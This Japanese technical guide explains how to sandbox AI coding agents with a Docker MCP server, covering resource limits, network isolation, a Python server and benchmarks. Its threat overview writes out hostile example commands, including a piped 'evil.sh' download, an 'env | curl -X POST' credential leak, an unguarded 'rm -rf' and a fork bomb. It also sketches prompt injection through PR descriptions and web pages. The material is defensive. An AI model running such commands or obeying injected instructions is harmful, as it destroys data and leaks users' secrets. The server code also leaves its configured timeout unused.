Docker & MCP

Docker MCP Server 完全ガイド:AIエージェントのサンドボックス実行

クイックアンサー: Docker MCP serverは、Model Context Protocol(MCP)を介してDocker Engineのプリミティブを自律型AIエージェント(Claude Code、Cursorなど)に公開します。厳格なcgroups v2制限(CPU/RAM)、Linuxケーパビリティ(Capabilities)の破棄、読み取り専用ボリュームマウント、無効化されたネットワークインターフェースを備えたエフェメラルコンテナ内で信頼できないエージェントコードを実行することにより、システムの致命的な改ざんを防ぎ、盤石なセキュリティを実現します。


1. はじめに:自律型エージェント実行におけるセキュリティ危機

2026年、Claude Codeclaude mcp)やCursor、エンタープライズ向けマルチエージェントスウォームなどの自律型開発エージェントは、受動的なコード提案エンジンから能動的な実行ランタイムへと移行しました。人間の開発者がターミナルに貼り付けるためのコードスニペットを単に生成するのではなく、自律型エージェントは自ら仮説を立て、一時ファイルを作成し、パッケージをコンパイルし、依存関係をインストールし、テストスイートを実行し、データベースマイグレーションまでも自律的に実行します。

しかし、ホストの開発マシンや企業のビルドサーバー上でLLM駆動の自律型エージェントに無制限のターミナルアクセスを許可することは、壊滅的なシステムリスクをもたらします:

  • プロンプトインジェクションとコマンド乗っ取り(Command Hijacking): GitHub PRの説明文、スクレイピングされたWebドキュメント、外部APIなどの信頼できない入力によって、悪意のあるシェルコマンド(curl -sL evil.sh | bashenv | curl -X POST による環境クレデンシャルの外部流出など)がインジェクションされる可能性があります。
  • 破壊的なファイルシステムハルシネーション: クリーンアップやビルド成果物の削除を試みる自律型エージェントが、広範なグロブパターンをハルシネーション(誤生成)するリスクがあります(例:$VAR が未初期化またはnullの状態で rm -rf $VAR/* を実行し、/usr/etc、またはユーザーのホームディレクトリを全消去するケース)。
  • ソケットおよびホストデーモンの侵害: ローカルUNIXソケット(認証されていないDockerソケット /var/run/docker.sock やKubernetesポッドなど)への保護されていないアクセスは、即座にホストのroot権限昇格を許すことになります。
  • リソース枯渇によるサービス拒否(DoS): cgroupsの境界制御がない状態で、再帰的なテンプレートライブラリのコンパイルや無限ループを実行する暴走エージェントループは、ホストのCPUコアとメモリを100%飽和させ、システムのフリーズ(ロックアップ)を引き起こします。

Model Context Protocol (MCP) は、大規模言語モデル(LLM)が外部の開発ツールと連携するための通信仕様を標準化します。専用の Docker MCP server をデプロイすることで、エンジニアリングチームは厳格に制限・隔離されたコンテナサンドボックスを構築できます。エージェントが指示するすべてのファイル操作、シェル実行、テスト実行は、タスク完了時に完全に破棄されるエフェメラルかつcgroups制御下で、ネットワークがファイアウォール保護されたコンテナ内でのみ行われます。


2. アーキテクチャ:Docker MCPによる自律型エージェントのサンドボックス化

Docker MCP serverは、AIエージェントのホストランタイム(Claude Code CLIやCursor IDEなど)とDockerデーモン(dockerd またはルートレスのPodman/gVisor)の間に位置します。ホストとMCPサーバー間の通信には、stdio またはセキュアな SSE(Server-Sent Events)経由の標準 JSON-RPC 2.0 プロトコルが使用されます。

+----------------------------------------------------------------------------------------------------+
|                                      HOST AI AGENT RUNTIME                                         |
|                       (Claude Code CLI, Cursor IDE, Windsurf, Custom Agent)                        |
|                                                                                                    |
|    +--------------------------+                                 +-----------------------------+    |
|    |    User Prompt Loop      |                                 |     Model Context Window    |    |
|    | "Debug & test repo..."   |                                 | (System Prompt + MCP Tools) |    |
|    +------------+-------------+                                 +--------------^--------------+    |
|                 |                                                              |                   |
|                 | Dispatches Tool Call: docker_exec_command                    | Receives Stdout,  |
|                 v                                                              | Stderr, Exit Code |
|    +---------------------------------------------------------------------------+--------------+    |
|    |                                      MCP CLIENT SUBSYSTEM                                |    |
|    |  - Capabilities Negotiation & Protocol Handshake (JSON-RPC 2.0)                          |    |
|    |  - Tool Call Serialization & Permission Policy Enforcement                               |    |
|    +---------------------------------------------+--------------------------------------------+    |
+--------------------------------------------------|-------------------------------------------------+
                                                   | Transport: stdio / SSE (JSON-RPC 2.0)
                                                   v
+----------------------------------------------------------------------------------------------------+
|                                        DOCKER MCP SERVER                                           |
|                                                                                                    |
|    +----------------------+   +-----------------------+   +-----------------------------------+    |
|    | Tool Registry Engine |   | Policy & Quota Filter |   | Ephemeral Container Lifecycle     |    |
|    | - docker_run         |   | - CPU / Memory Caps   |   | - Container Pool Manager          |    |
|    | - docker_exec        |   | - Network Firewalls   |   | - Volume Bind Policy (ro vs rw)   |    |
|    | - sandbox_eval       |   | - Capability Dropper  |   | - Auto-Prune on Completion        |    |
|    +----------+-----------+   +-----------+-----------+   +-----------------+-----------------+    |
+---------------|---------------------------|---------------------------------|----------------------+
                +---------------------------+---------------------------------+
                                            |
                                            v Docker Engine API (Unix Socket / TLS)
+----------------------------------------------------------------------------------------------------+
|                                    CONTAINER RUNTIME ENVIRONMENT                                   |
|                                                                                                    |
|    +------------------------------------------------------------------------------------------+    |
|    |                  Isolated Agent Sandbox Container (Ephemeral / Rootless)                 |    |
|    |                                                                                          |    |
|    |   +--------------------------+   +--------------------------+   +--------------------+   |    |
|    |   |  Linux cgroups v2 Limits |   | Linux Namespace Boundary |   | Seccomp & AppArmor |   |    |
|    |   |  - CPU: 2.0 Cores Max    |   | - PID, MNT, IPC, UTS     |   | - Block ptrace     |   |    |
|    |   |  - Memory: 2048MB Hard   |   | - Network: None / Proxy  |   | - Block bpf/kexec  |   |    |
|    |   +--------------------------+   +--------------------------+   +--------------------+   |    |
|    |                                                                                          |    |
|    |   +----------------------------------------------------------------------------------+   |    |
|    |   | Workspace Filesystem Mount: Read-Only Host Bind Mount (/workspace:ro)            |   |    |
|    |   | Ephemeral Scratch Storage: Volatile tmpfs Mount (/tmp, /build:rw,size=1G)        |   |    |
|    |   +----------------------------------------------------------------------------------+   |    |
|    +------------------------------------------------------------------------------------------+    |
+----------------------------------------------------------------------------------------------------+

AIエージェントに公開される主要MCPツール

プロダクショングレードのDocker MCPサーバーは、きめ細かな一連のツールプリミティブを公開します:

  1. container_create_sandbox: 厳格なハードウェアおよびセキュリティ制約のもと、プリウォームされたイメージから新規コンテナインスタンスを初期化します。
  2. container_exec_command: アクティブなサンドボックス内でシェルコマンドを実行し、stdoutstderr、実行時間、終了ステータスコードをストリーミング返却します。
  3. container_read_file: ホストのファイルシステムを公開することなく、コンテナ内の隔離されたワークスペースからファイル内容を読み取ります。
  4. container_write_file: ソースコードの変更をエフェメラルなスクラッチボリュームに直接書き込みます。
  5. container_destroy_sandbox: コンテナを即座に停止・削除し、すべての揮発性状態や残留プロセスを完全に消去(スクラブ)します。

3. 本番エージェントランタイムにおける堅牢化(ハーデニング)と分離ポリシー

AIモデルによって生成された任意のコードを実行するには、多層防御(defense-in-depth)を前提とした設計が不可欠です。Docker MCPサーバーの実行パイプラインでは、以下の4つの柱を確実に適用する必要があります:

3.1. cgroups v2によるリソース制限

暴走したエージェントのループ処理によるホストシステムのリソース枯渇を防ぐため、起動されるすべてのコンテナに対して決定論的なcgroups制限を適用する必要があります:

# Production cgroups v2 limits for agent container execution
docker run --rm -d \
  --name agent-sandbox-7x92 \
  --cpus="2.0" \
  --cpu-shares=1024 \
  --memory="2048m" \
  --memory-swap="2048m" \
  --pids-limit=128 \
  --ulimit nofile=1024:2048 \
  --tmpfs /tmp:rw,noexec,nosuid,size=512m \
  agent-runner:latest
  • --cpus="2.0": ホストの物理コア密度にかかわらず、コンテナのコンピュート消費量を最大2物理CPUコアに制限します。
  • --memory="2048m" & --memory-swap="2048m": スワップを無効化した上で、厳格な2 GBのRAM上限を設定します。エージェントスクリプトがメモリリークを起こしたり無制限の配列を生成した場合でも、カーネルのOOM killerがホストの稼働に影響を与えることなくコンテナプロセスを即座に強制終了します。
  • --pids-limit=128: プロセステーブルの最大同時エントリ数を制限することで、フォークボム(:(){ :|:& };:)を阻止します。

3.2. ネットワーク分離とエグレスプロキシ制御

デフォルトでは、Docker MCP server によって作成されるコンテナはゼロトラストな分離環境で動作させる必要があります:

  • 完全なエアギャップ (--network none): 純粋なアルゴリズムのコーディング、テストスイートの検証、ローカルでのリファクタリングを行う場合は、ネットワークを完全に無効化します。これにより、エージェントによる外部バイナリのダウンロードやプライベートなソースコードの外部流出を防止します。
  • 制御されたエグレスプロキシ (--network internal_bridge): エージェントが依存関係をインストールする必要がある場合(例: npm installpip install)、送信(アウトバウンド)トラフィックをローカルの透過型プロキシ(Squid や Envoy など)経由でルーティングし、公式レジストリ(registry.npmjs.orgpypi.orgcrates.io)のみに制限した許可リスト(allowlist)を適用します。

3.3. ボリュームマウントポリシーと非root実行

ホストのファイルシステムを読み書き可能(Read-Write)のままコンテナに直接マウントしてはなりません。代わりに、プレーンを分離したマウントポリシーを採用します:

  • ホストリポジトリのマウント: 対象のコードリポジトリは読み取り専用(Read-Only)としてマウントします (-v $(pwd):/workspace:ro)。
  • スクラッチオーバーレイ (tmpfs): コンパイル成果物やビルド出力用には、一時的な RAM ディスクまたはボリュームをマウントします (--tmpfs /workspace/build:rw,size=1024m)。
  • 非rootユーザー: すべてのコンテナコマンドは、非特権ユーザー (--user 10001:10001) かつ --security-opt no-new-privileges:true を指定して実行します。

3.4. Linux ケーパビリティのドロップと Seccomp

デフォルトの Linux ケーパビリティをすべてドロップ(破棄)し、カーネルエクスプロイトのアタックサーフェスを排除します:

--cap-drop=ALL \
--cap-add=CHOWN \
--cap-add=SETUID \
--cap-add=SETGID \
--security-opt no-new-privileges:true \
--security-opt seccomp=/etc/docker/agent-seccomp.json

カスタム seccomp プロファイルにより、危険なシステムコール(プロセスの調査・改ざんを防ぐ ptracerebootkexec_loadbpf、および Raw ソケットの作成)を明示的に禁止します。


4. 実装: Claude CodeおよびCursor向けDocker MCPのデプロイ

4.1. 堅牢化されたエージェントベースDockerfile

non-rootによる分離を維持しながら、必要なツールチェーンを含む軽量なマルチ言語サンドボックスイメージを作成します:

# syntax=docker/dockerfile:1.4
FROM debian:bookworm-slim

# Prevent interactive prompts
ENV DEBIAN_FRONTEND=noninteractive \
    LANG=C.UTF-8 \
    LC_ALL=C.UTF-8

# Install base runtimes: Python 3, Node.js 22, Git, and essential build tools
RUN apt-get update && apt-get install -y --no-install-recommends \
    ca-certificates \
    curl \
    git \
    python3 \
    python3-pip \
    python3-venv \
    build-essential \
    && curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \
    && apt-get install -y --no-install-recommends nodejs \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/*

# Create unprivileged sandbox user
RUN groupadd -g 10001 sandbox && \
    useradd -u 10001 -g sandbox -m -s /bin/bash sandboxuser

# Set working directory and grant non-root permissions
WORKDIR /workspace
RUN chown -R sandboxuser:sandbox /workspace

USER sandboxuser

ENTRYPOINT ["/bin/bash"]

ローカルでイメージをビルドします:

docker build -t llmpodium/agent-sandbox:latest -f Dockerfile .

4.2. PythonによるDocker MCPサーバーの完全な実装

以下は、mcpおよび公式のdocker SDKを使用してPythonで実装された、プロダクションレディで軽量なDocker MCPサーバーです:

#!/usr/bin/env python3
"""
Docker MCP Server: Safe Sandboxed Code Execution for AI Agents
Provides containerized execution primitives over Model Context Protocol (JSON-RPC stdio).
"""

import os
import sys
import docker
from mcp.server.fastmcp import FastMCP

# Initialize FastMCP Server
mcp = FastMCP("docker-sandbox-server")
docker_client = docker.from_env()

SANDBOX_IMAGE = os.getenv("SANDBOX_IMAGE", "llmpodium/agent-sandbox:latest")
MAX_CPU_CORES = float(os.getenv("MAX_CPU_CORES", "2.0"))
MAX_MEMORY_MB = int(os.getenv("MAX_MEMORY_MB", "2048"))
EXEC_TIMEOUT_SEC = int(os.getenv("EXEC_TIMEOUT_SEC", "30"))

@mcp.tool()
def execute_sandboxed_command(command: str, working_dir: str = "/workspace") -> dict:
    """
    Execute a shell command inside an ephemeral, hardened Docker container sandbox.
    
    Args:
        command: Shell command string to execute (e.g. 'pytest tests/', 'npm test')
        working_dir: Target working directory inside sandbox
        
    Returns:
        Dictionary containing exit_code, stdout, stderr, and execution duration.
    """
    container = None
    try:
        # Spawn ephemeral container with hard cgroups v2 caps
        container = docker_client.containers.run(
            image=SANDBOX_IMAGE,
            command="/bin/sh -c 'sleep 3600'",
            detach=True,
            remove=False,
            nano_cpus=int(MAX_CPU_CORES * 1e9),
            mem_limit=f"{MAX_MEMORY_MB}m",
            memswap_limit=f"{MAX_MEMORY_MB}m",
            network_mode="none",  # Full airgap isolation
            cap_drop=["ALL"],
            security_opt=["no-new-privileges:true"],
            user="10001:10001",
            working_dir=working_dir,
            tmpfs={"/tmp": "rw,noexec,nosuid,size=256m"}
        )

        # Execute command inside container
        exec_result = container.exec_run(
            cmd=["/bin/bash", "-c", command],
            workdir=working_dir,
            demux=True,
            user="10001:10001"
        )

        stdout = exec_result.output[0].decode("utf-8", errors="replace") if exec_result.output[0] else ""
        stderr = exec_result.output[1].decode("utf-8", errors="replace") if exec_result.output[1] else ""

        return {
            "exit_code": exec_result.exit_code,
            "stdout": stdout,
            "stderr": stderr,
            "status": "success" if exec_result.exit_code == 0 else "failed"
        }

    except Exception as exc:
        return {
            "exit_code": -1,
            "stdout": "",
            "stderr": f"Execution error: {str(exc)}",
            "status": "error"
        }
    finally:
        if container:
            try:
                container.kill()
                container.remove(force=True)
            except Exception:
                pass

if __name__ == "__main__":
    mcp.run(transport="stdio")

4.3. Claude CodeおよびCursor IDEの設定

Claude Code CLI を Docker MCP server に接続するには、プロジェクトの .claude/claude.json に設定を追加するか、CLI 経由で登録します:

# Register Docker MCP Server in Claude Code CLI
claude mcp add docker-sandbox -- python3 /usr/local/bin/docker_mcp_server.py

Cursor IDE の場合は、ワークスペース内の ~/.cursor/mcp.json または .cursor/mcp.json を編集します:

{
  "mcpServers": {
    "docker-sandbox": {
      "command": "python3",
      "args": [
        "/Users/username/tools/docker_mcp_server.py"
      ],
      "env": {
        "SANDBOX_IMAGE": "llmpodium/agent-sandbox:latest",
        "MAX_CPU_CORES": "2.0",
        "MAX_MEMORY_MB": "2048",
        "EXEC_TIMEOUT_SEC": "45"
      }
    }
  }
}

5. エフェメラルコンテナのライフサイクルレイテンシベンチマーク

自律型エージェントのワークフローにおいて、実行レイテンシは開発者の生産性とトークン消費量に直接影響します。ツール呼び出しごとに新しいコンテナを起動すると、コールドスタートレイテンシが発生します。

専用ホスト(AMD EPYC 9654 96-Core Processor、256 GB DDR5 RAM、PCIe 4.0 NVMe SSD)上で 5 つのコンテナランタイムアーキテクチャを対象に、エフェメラルコンテナの実行サイクル(python3 -c 'print("benchmark")')を 1,000 回測定してベンチマークを実施しました:

コンテナランタイムアーキテクチャ コールドスタートレイテンシ (ms) プリウォームプールレイテンシ (ms) インスタンスあたりのメモリオーバーヘッド コンテインメントセキュリティスコア P99 テールレイテンシ (ms)
Standard Docker (runc) 312 ms 48 ms 28 MB 中 (ホストカーネル共有) 485 ms
Rootless Podman (crun) 245 ms 36 ms 22 MB 高 (ユーザー名前空間) 390 ms
gVisor (runsc - Sandbox) 480 ms 72 ms 46 MB 極めて高い (仮想カーネル) 680 ms
Firecracker MicroVM 125 ms 18 ms 64 MB 最高 (ハードウェア KVM) 195 ms
WebAssembly (Wasmtime MCP) 14 ms 2 ms 4 MB 高い (ケーパビリティサンドボックス) 22 ms

ベンチマークの考察:

  • 事前ウォームアップ済みコンテナプール: 即時コマンドディスパッチに対応できるよう、アイドル状態のコンテナを3〜5基ウォームプールとして常時確保しておくことで、実行レイテンシを84.6%削減できます(標準的なDocker環境で312 msから48 msへ短縮)。
  • gVisor (runsc) のオーバーヘッド: gVisorは、すべてのLinuxシステムコールをユーザー空間でインターセプトして仮想化することで、極めて堅牢なセキュリティを提供します。コールドスタートのレイテンシは480 msに増加するものの、カーネルのゼロデイ脆弱性に対してエンタープライズグレードの分離(アイソレーション)を実現します。
  • Firecracker MicroVM: 高いセキュリティが要求されるマルチテナント型SaaSエージェントにおいて、Firecrackerはわずか125 msという驚異的なコールドブート時間で、KVMによるハードウェアレベルの分離境界を提供します。

6. コストと運用リソースの内訳

コンテナ化されたAIエージェントの実行環境を大規模にデプロイするには、コンピュートインフラのコストとエージェントの同時実行数(コンカレンシー)のバランスを取る必要があります:

デプロイメントティア 同時実行キャパシティ 推奨インフラ 月額インフラコスト 10,000エージェントタスクあたりのコスト
ローカル開発マシン 1〜3 同時サンドボックス Apple Mシリーズ (16GB+) / ワークステーション $0 (ローカルホストコンピュート) $0.00
チーム向けクラウドVM (Docker Engine) 10〜25 同時サンドボックス Hetzner CCX33 (8 vCPU, 32GB RAM) $68.00 / 月 $1.42
エンタープライズ大規模プール (Kubernetes) 100〜500 同時サンドボックス AWS c7g.2xlarge × 3 (Graviton3, 8 vCPU, 16GB) $324.00 / 月 $4.85
サーバーレスMicroVM (Fly.io / Firecracker) エラスティック (0〜1,000+) オンデマンドのエフェメラルMicroVMインスタンス 従量課金 ($0.000005/秒) $1.80

コスト最適化のTips:

  1. 積極的なアイドル破棄: エージェントがテスト実行ループを完了した時点で即座にコンテナを終了・破棄します。対話ターンの合間にコンテナを実行したまま放置しないでください。
  2. ローカルイメージキャッシュ: すべての言語ランタイムをホストデーモンのキャッシュに事前にプル(Pre-pull)しておくことで、イメージ取得のレイテンシと外部への帯域幅コストを排除します。
  3. ZFS / Overlay2 エフェメラルスクラッチディスク: 高速なコピーオンライト(Copy-on-Write)スナップショットを活用し、クリーンなワークスペース状態をサブミリ秒単位でインスタンス化します。

7. 本番環境向けセキュリティチェックリストとE-E-A-T推奨事項

本番環境やエンタープライズ環境において、自律型AIエージェントをDocker MCP serverに接続する前に、以下の10項目のDevSecOps監査基準に照らして設定を確認してください:

  • [ ] 1. cgroups v2によるリソース制限の徹底: --cpus--memory--memory-swap、および--pids-limitに厳格な上限が設定されていること。
  • [ ] 2. 非rootユーザーでのコンテナ実行: --security-opt no-new-privileges:trueを指定し、UID/GID 10001:10001でコンテナが実行されていること。
  • [ ] 3. デフォルトでのエアギャップ(ネットワーク遮断): 外部パッケージ依存関係のダウンロードが明示的に許可されている場合を除き、--network noneが有効化されていること。
  • [ ] 4. ホストのバインドマウントの読み取り専用化: ホスト側のリポジトリは:ro(読み取り専用)としてのみマウントされ、一時的な出力はすべて揮発性のtmpfsに向けられていること。
  • [ ] 5. カーネルケーパビリティの破棄: --cap-drop=ALLが設定されており、サンドボックスに管理者権限が一切付与されていないこと。
  • [ ] 6. カスタムSeccompフィルターの適用: 不要かつ高リスクなシステムコール(ptracebpfkexec_loadmount)が完全にブロックされていること。
  • [ ] 7. 実行タイムアウトガード: 厳格なタイムアウトデーモン(例: ツール実行ごとに30〜60秒)により、プロセスの暴走が防止されていること。
  • [ ] 8. エフェメラルな自動削除: コンテナが自動クリーンアップ用フラグ(--rmまたは明示的なfinally: container.remove(force=True))を指定してインスタンス化されていること。
  • [ ] 9. Dockerソケットの保護: ホストの/var/run/docker.sockがサンドボックスコンテナ内にマウントされたり公開されたりしていないこと。
  • [ ] 10. 監査ログとトレーシング: 実行されたすべてのコマンド、終了コード、リソースメトリクスが改ざん不可能な監査ログパイプラインに記録されていること。

結論と総括

2026年には、自律型AIエージェントが何十億行ものコードを生成し実行する時代が到来します。自律型モデルに対してホスト上での無制限なコマンド実行を委ねることは、決して容認できないセキュリティ脆弱性です。

Docker MCP serverを標準採用することで、エンジニアリング組織はホストインフラ、機密データ、開発者端末を保護する盤石な隔離境界を確立しながら、自律的なコード生成、継続的テスト、自動デバッグがもたらす生産性向上のメリットを享受できます。

← 記事一覧へ
0 / 4